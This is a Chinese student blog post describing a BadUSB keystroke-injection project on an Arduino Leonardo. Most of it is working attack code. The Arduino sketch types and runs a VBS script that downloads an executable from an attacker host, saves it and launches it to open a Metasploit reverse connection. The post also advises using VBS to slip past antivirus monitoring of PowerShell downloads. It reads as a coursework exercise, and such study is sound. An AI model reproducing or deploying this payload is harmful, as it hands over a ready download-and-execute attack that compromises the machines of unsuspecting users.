zoukankan      html  css  js  c++  java
  • 20155213免考项目——简易的HIDAttack

    20155213免考项目——简易的HIDAttack

    听5214说他做不出来自己的免考项目,于是就转向bof进阶,并且成功做出了64位的ROP攻击......
    既然如此,那我就再做一个吧,但都已经期末了,就选择了一项入手简单的HID攻击的东西,就这么做了一个简易的HIDAttack,没有深研究过,肯定有很多叙述不周到,做法有问题,还请原谅我这个小caiji。

    0x01 介绍

    BadUSB原理

    我这里做的HIDAttack选择的是BadUSB那一项,先简单介绍一下HID是啥,Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等,具体的解释可以百度,多得很。这里能用到的信息就是如果逆向编程使用HID的设备,就可以实现,随意变换计算机识别的设备类型。

    TEENSY介绍

    攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

    我选择的USB设备是一块Arduino板子,是LEORADO型的,其他的不能用除了Micro型(很小很便宜)的,淘宝上可以买的到。

    0x02 编译上传&exploit

    这里我们跳过Arduino编程和后面将要使用到的powershell编程和VBS编程介绍内容,网上很多很多

    具体流程

    1. 使用arduino里面的Keyboard模块编写一个脚本,用该脚本下载运行远程恶意程序
    • 使用的脚本是VBS脚本,Windows里面自带有解释VBS脚本的解释器(WScript.exe)
    • 使用VBS是自己想到的,网上教程使用的是PowerShell的下载功能,(Powershell是一种类似bash的终端程序)
    1. 在远程Kali开启Apache服务,并上传恶意程序,用以提供下 载
    2. 开启msf,并设置运行反弹连接模块
    3. 编译上传arduino代码到板子上,拔插USB数据线,此时arduino板子会自动运行之前烧进去的代码
    4. 静坐等待就好了

    代码解析

    #include <Keyboard.h>
    
    void setup() {
      delay(3000);
      Keyboard.begin();
      Keyboard.press(KEY_CAPS_LOCK);
      Keyboard.release(KEY_CAPS_LOCK);
      Keyboard.press(KEY_LEFT_GUI);
      Keyboard.press('r');
      Keyboard.releaseAll();
      delay(100);
      Keyboard.println("cmd /c powershell");
      delay(100);
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      delay(1000);
      Keyboard.println("notepad ");
      delay(1000);
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      Keyboard.press(KEY_LEFT_SHIFT);
    
      delay(1000);
      Keyboard.println("on error resume next 
    Set Post = CreateObject("Msxml2.XMLHTTP")
    Set Shell = CreateObject("Wscript.Shell")
    Post.Open "GET","http://192.168.43.28/bd5213.gif",0
    Post.Send()
    Set aGet = CreateObject("ADODB.Stream")
    aGet.Mode = 3
    aGet.Type = 1
    aGet.Open()
    aGet.Write(Post.responseBody)
    aGet.SaveToFile "d:\bd5213.exe",2
    wscript.sleep 1000
    Shell.AppActivate "C:\Windows\system32\CMD.exe"
    Shell.SendKeys "exit~"
    Shell.Run ("d:\bd5213.exe")");
      delay(1000);
      Keyboard.release(KEY_LEFT_SHIFT);
      Keyboard.press(KEY_LEFT_CTRL);
      Keyboard.press('s');
      Keyboard.releaseAll();
      delay(500);
      Keyboard.println("bd5213.vbs ");
      delay(500);
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
      Keyboard.press(KEY_LEFT_ALT);
      Keyboard.press(KEY_F4);
      Keyboard.releaseAll();
      delay(500);
      Keyboard.println("./bd5213.vbs ");
      delay(500);
      Keyboard.press(KEY_RETURN);
      Keyboard.release(KEY_RETURN);
    
    }
    
    void loop() {
      // put your main code here, to run repeatedly:
    
    }
    
    

    Arduino的Keyboard模块编程也就如下这几个函数

    #include<Keyboard.h>  //包含键盘模块的头文件
    
    Keyboard.begin();  //开启键盘通信
    
    Keyboard.press();  //按下某个键
    
    Keyboard.release(); //释放某个键
    
    Keyboard.println(); /*输入某些内容 和一些网上的解释不同 网上解释是输入内容并且能回车,而我测试的时候并不能回车 可能和版本有关 不要不要担心有办法回车*/
    
    Keyboard.end();  //结束键盘通信
    
    • 这里说一下上面的逻辑,就是先打开运行,然后输入cmd /c powershell,即运行powershell,随后用其打开一个txt文件,向里面输入vbs脚本代码(脚本文件后面具体解释),键入CTRL+Sbd5213.vbs保存文件,关闭txt文本窗口,在刚才的终端里运行脚本文件。

    • 上面的VBS脚本文件,主要是用来下载远程的恶意程序的并运行的,规范一下写法

    on error resume next
    sET pOST = cREATEoBJECT("mSXML2.xmlhttp")
    sET sHELL = cREATEoBJECT("wSCRIPT.sHELL")
    pOST.oPEN "get","HTTP://192.168.43.28/BD5213.GIF",0
    pOST.sEND()
    sET AgET = cREATEoBJECT("adodb.sTREAM")
    AgET.mODE = 3
    AgET.tYPE = 1
    AgET.oPEN()
    AgET.wRITE(pOST.RESPONSEbODY)
    AgET.sAVEtOfILE "D:BD5213.EXE",2
    WSCRIPT.SLEEP 1000
    sHELL.aPPaCTIVATE "c:wINDOWSSYSTEM32cmd.EXE"
    sHELL.sENDkEYS "EXIT~"
    sHELL.rUN ("D:BD5213.EXE")
    
    • 代码都是字面意思,主要说一下第一句和倒数第三句

      • 第一句说的是,如果运行出错,但不报错,并继续往下运行,这样做的好处是防止运行时出问题,调出一个提示框

        那就有点尴尬了。

      • 倒数第三句是将目前桌面焦点放到指定的正在运行的程序上,这里的目的是为了关闭不用的终端

    • 有几个细节需要说一下:

      • arduino代码里需要开启大写键,是为了防止中文输入,这也导致写在txt文件里的代码大小写很乱(本来想按住shift键强制转换结果还是乱的),但不影响,WScript并不care大小写问题
      • 网上教程都是用powershell来下载恶意程序的,但是powershell被360监视的太狠了,每次下载都要报提示,但VBS下载就不会,使用的是HTTP的get,且没有被监视,所以就换成了VBS的

    exploit就不多说了,使用的是实验三做了免杀的一个程序

    0x03 操作实现

    完成上述过程后,插入USB即可,我录了一段视频,简单感受一下粗犷的攻击方式

    视频链接

  • 相关阅读:
    jquery直接操作元素的方式
    ie6下,给a添加事件,如果事件中有http请求,将会无效
    一个Tahoma字体bug引发的思考—关于样式bug的分析流程
    用弧度画圆
    【译】OWIN: Open Web Server Interface for .NET
    【译】Dependency Injection with Autofac
    Asp.net Identity身份与权限体系设计
    winform 数据(双向)绑定 快速更新实体
    泛型与非泛型的区别。
    使用XmlReader读Xml
  • 原文地址:https://www.cnblogs.com/elevator/p/9221664.html
Copyright © 2011-2022 走看看